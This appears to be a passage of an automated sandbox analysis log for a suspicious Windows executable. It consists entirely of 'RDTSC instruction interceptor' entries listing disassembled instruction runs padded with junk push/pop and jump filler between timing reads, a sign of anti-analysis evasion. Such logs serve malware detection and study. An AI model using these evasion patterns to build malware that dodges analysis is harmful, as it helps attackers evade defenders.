Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E8BB4F second address: E8BB6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FA458BC4747h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E8BB6C second address: E8BB80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FA458503DF8h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E8BB80 second address: E8BB87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E8B5D6 second address: E8B5E5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA458503DF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E8B73F second address: E8B743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E8B743 second address: E8B751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FA458503DFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E99C0A second address: E99C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA458BC4742h 0x0000000f jmp 00007FA458BC4743h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E99C39 second address: E99C52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA190C second address: EA1914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA1914 second address: EA1929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA458503DFDh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA1C31 second address: EA1C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4742h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA1C4F second address: EA1C5F instructions: 0x00000000 rdtsc 0x00000002 je 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA1D80 second address: EA1D85 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA1D85 second address: EA1D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA458503DF6h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007FA458503DF6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA1D9B second address: EA1D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA1D9F second address: EA1DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA458503DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FA458503DFFh 0x00000012 pop eax 0x00000013 js 00007FA458503DFEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EA2023 second address: EA2029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EC3695 second address: EC36A9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA458503DF6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007FA458503E09h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EC5508 second address: EC550E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EC550E second address: EC5512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EC5512 second address: EC5531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FA458BC4736h 0x00000014 jmp 00007FA458BC473Bh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EC5531 second address: EC5541 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007FA458503DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EC5541 second address: EC554B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA458BC4736h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EC554B second address: EC5555 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDE7E2 second address: EDE7F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA458BC473Bh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDEC05 second address: EDEC28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FA458503DF6h 0x0000000a jmp 00007FA458503E09h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDEDE6 second address: EDEE02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4740h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDEE02 second address: EDEE06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF0A7 second address: EDF0DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA458BC4747h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA458BC4749h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF0DD second address: EDF0FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458503E04h 0x00000009 jno 00007FA458503DF6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF0FB second address: EDF101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF53F second address: EDF543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF543 second address: EDF549 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF66D second address: EDF677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF677 second address: EDF681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF681 second address: EDF690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FA458503DF6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF690 second address: EDF69C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EDF69C second address: EDF6A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE226F second address: EE2275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE24AD second address: EE24BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458503DFEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE2565 second address: EE2584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, dword ptr [ebp+122D34C8h] 0x00000010 push 00000004h 0x00000012 call 00007FA458BC4739h 0x00000017 push ebx 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE2584 second address: EE25AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007FA458503DFFh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA458503DFAh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE25AA second address: EE25FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4743h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jg 00007FA458BC4752h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FA458BC473Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE25FE second address: EE261A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458503E08h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE28CA second address: EE28CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE54A6 second address: EE54AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE54AA second address: EE54B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE54B4 second address: EE54C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458503E00h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: EE75F7 second address: EE75FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0DA1 second address: 55A0DD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA458503E03h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0DD6 second address: 55A0DF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0DF3 second address: 55A0E41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA458503DFEh 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov bx, cx 0x00000015 pushfd 0x00000016 jmp 00007FA458503DFAh 0x0000001b sbb ax, 8288h 0x00000020 jmp 00007FA458503DFBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0E41 second address: 55A0E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0E45 second address: 55A0E60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0E60 second address: 55A0E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC4744h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0E78 second address: 55A0E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 557011B second address: 55701CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA458BC4741h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA458BC473Ch 0x00000017 adc cl, 00000038h 0x0000001a jmp 00007FA458BC473Bh 0x0000001f popfd 0x00000020 mov ebx, esi 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007FA458BC4742h 0x0000002a push dword ptr [ebp+04h] 0x0000002d pushad 0x0000002e pushad 0x0000002f mov cx, 61F3h 0x00000033 mov ax, 2A4Fh 0x00000037 popad 0x00000038 movzx ecx, bx 0x0000003b popad 0x0000003c push dword ptr [ebp+0Ch] 0x0000003f pushad 0x00000040 movzx ecx, bx 0x00000043 popad 0x00000044 push dword ptr [ebp+08h] 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007FA458BC4741h 0x0000004e add ecx, 736A8CE6h 0x00000054 jmp 00007FA458BC4741h 0x00000059 popfd 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FA458BC473Eh 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55701E5 second address: 55701E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55701E9 second address: 55701EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590B7E second address: 5590B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590B82 second address: 5590B9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590B9E second address: 5590BA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 559072C second address: 5590730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590730 second address: 5590736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590736 second address: 559073C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 559073C second address: 559076A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503DFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA458503E07h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 559076A second address: 5590770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590770 second address: 5590774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590774 second address: 5590778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590778 second address: 5590796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, ebx 0x0000000e jmp 00007FA458503DFFh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590796 second address: 55907AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA458BC473Fh 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55907AB second address: 55907C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA458503E00h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55907C5 second address: 55907CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55907CB second address: 55907CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55907CF second address: 55907D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590651 second address: 55906AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 mov eax, 7E88A34Dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FA458503E08h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ecx, 59E1E6F3h 0x0000001d pushfd 0x0000001e jmp 00007FA458503E08h 0x00000023 add ax, CFF8h 0x00000028 jmp 00007FA458503DFBh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55906AC second address: 55906B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
